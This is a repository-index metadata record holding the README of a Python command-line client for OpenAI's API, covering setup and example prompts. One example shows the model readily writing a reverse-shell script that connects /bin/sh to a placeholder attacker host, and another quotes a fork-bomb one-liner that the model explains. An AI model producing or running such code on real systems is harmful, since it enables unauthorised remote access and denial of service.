{"id":22111666,"url":"https://github.com/phx/gpt-cli","last_synced_at":"2025-07-25T07:32:02.452Z","repository":{"id":65204764,"uuid":"587463037","full_name":"phx/gpt-cli","owner":"phx","description":"OpenAI interaction from CLI","archived":false,"fork":false,"pushed_at":"2024-06-14T15:08:10.000Z","size":14,"stargazers_count":2,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-06-23T12:19:27.054Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/phx.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-01-10T20:09:28.000Z","updated_at":"2024-06-14T15:08:13.000Z","dependencies_parsed_at":"2024-12-01T11:00:19.977Z","dependency_job_id":null,"html_url":"https://github.com/phx/gpt-cli","commit_stats":{"total_commits":9,"total_committers":1,"mean_commits":9.0,"dds":0.0,"last_synced_commit":"6274b80558412cb069030d6c22d4b16aa1c5ab56"},"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/phx/gpt-cli","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/phx%2Fgpt-cli","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/phx%2Fgpt-cli/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/phx%2Fgpt-cli/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/phx%2Fgpt-cli/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/phx","download_url":"https://codeload.github.com/phx/gpt-cli/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/phx%2Fgpt-cli/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":266972944,"owners_count":24014608,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-07-25T02:00:09.625Z","response_time":70,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-12-01T10:50:15.817Z","updated_at":"2025-07-25T07:32:02.219Z","avatar_url":"https://github.com/phx.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# gpt-cli\n\nThis is a command line tool used for interacting with OpenAI's API.\n\nDefault model is `gpt-3.5-turbo` (but you can change it to whatever you want).\n\nThis tool requires the following environment variables to be set:\n\n- `OPENAI_API_KEY`\n\nYou can further tweak functionality by setting the following additional environment variables:\n\n- `OPENAI_MODEL`\n- `OPENAI_DEFAULT_PROMPT`\n- `OPENAI_LOGFILE`\n- `OPENAI_TEMPERATURE`\n- `OPENAI_MAX_TOKENS`\n\nAll environment variables can be set by filling in values from `example.env`, renaming that file to `.env`, and running `./bin/gpt3 'Your prompt here'`.\n\nThere is also a `gpt4` command in case you set your model to GPT-4 and feel stupid running the `gpt3` command.\n\nAlternately, you can pass the environment variables  on the command line using something like this:\n\n```\nOPENAI_API_KEY=foo ./bin/gpt3 'Your prompt here'\n```\n\nIf installing from PyPi, set the `OPENAI_API_KEY` in your `~/.bashrc` or `~/.zshrc`, and run as follows:\n\n```\ngpt3 'Your prompt here'\n```\n\n## Installation (PyPi) - set variables in rc files:\n\n`python3 -m pip install gpt-cli`\n\n## Installation (local) - set variables in .env:\n\n```\ngit clone https://github.com/phx/gpt-cli\ncd gpt-cli\npython3 -m pip install -r requirements.txt\n```\n\n### Examples:\n\nIf given the `-p` or `--print` option, it will display the full prompt and response.\n\n\n```\n╭─phx@bigboi ~/git/gpt-cli  ‹master*› \n╰─➤  gpt3 --print 'Write python script to create reverse shell.'\n----------------------------------------------------------------------\nPrompt:\nWrite python script to create reverse shell.\n\nAnswer:\nimport socket\nimport subprocess# Create a socket\ns = socket.socket()# Connect to the attacker machine\ns.connect((\"attacker_ip\", attacker_port))# Create a subprocess to execute a shell\nproc = subprocess.Popen([\"/bin/sh\", \"-i\"], stdin=s.fileno(), stdout=s.fileno())# Keep the connection alive\nwhile True:\n    data = s.recv(1024)\n    if data == \"exit\":\n        break\n    proc.stdin.write(data)\n    proc.stdout.flush()# Close the connection\ns.close()\n----------------------------------------------------------------------\n```\n\n```\n╭─phx@bigboi ~/git/gpt-cli  ‹master*› \n╰─➤  OPENAI_DEFAULT_PROMPT='Do not give nonsense answers. If you do not know that your answer is factual, respond with \"Unknown. \"' gpt3 -p 'Who is Gregory Washingheimer Van Fleet?'\n----------------------------------------------------------------------\nPrompt:\nWho is Gregory Washingheimer Van Fleet?\n\nAnswer:\nUnknown.\n----------------------------------------------------------------------\n╭─phx@bigboi ~/git/gpt-cli  ‹master*› \n╰─➤  OPENAI_DEFAULT_PROMPT='Do not give nonsense answers. If you do not know that your answer is factual, respond with \"Unknown. \"' gpt3 --print 'Who is John Adams?'                     \n----------------------------------------------------------------------\nPrompt:\nWho is John Adams?\n\nAnswer:\nJohn Adams was the second President of the United States, serving from 1797 to 1801.\n----------------------------------------------------------------------\n```\n\nWhen taking redirected or piped input from STDIN, it will only output the answer.\n\n```\n╭─phx@birdbox ~/git/gpt-cli ‹master●›\n╰─$ echo 'Tell me what this code does: :(){ :|:\u0026 };:' | bin/gpt3\n\nThis code is a fork bomb, a type of denial-of-service attack that continuously replicates itself to consume system resources and eventually cause the system to become unresponsive.\n\nHere's a breakdown of what the code does:\n\n1. `:(){ ... };:` - This defines a function named `:` that contains the code within the curly braces `{}` and then calls the function `:`.\n\n2. `:|:` - This is the recursive part of the fork bomb. It pipes the output of the function `:` back into the function itself, causing it to continuously replicate.\n\n3. `\u0026` - This runs the function in the background, allowing it to continue replicating without blocking the terminal.\n\nWhen this code is executed, it will rapidly spawn new instances of the function `:` until the system's resources are exhausted, leading to a system crash or unresponsiveness. It is important to never run this code on a system as it can cause serious damage.\n```\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fphx%2Fgpt-cli","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fphx%2Fgpt-cli","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fphx%2Fgpt-cli/lists"}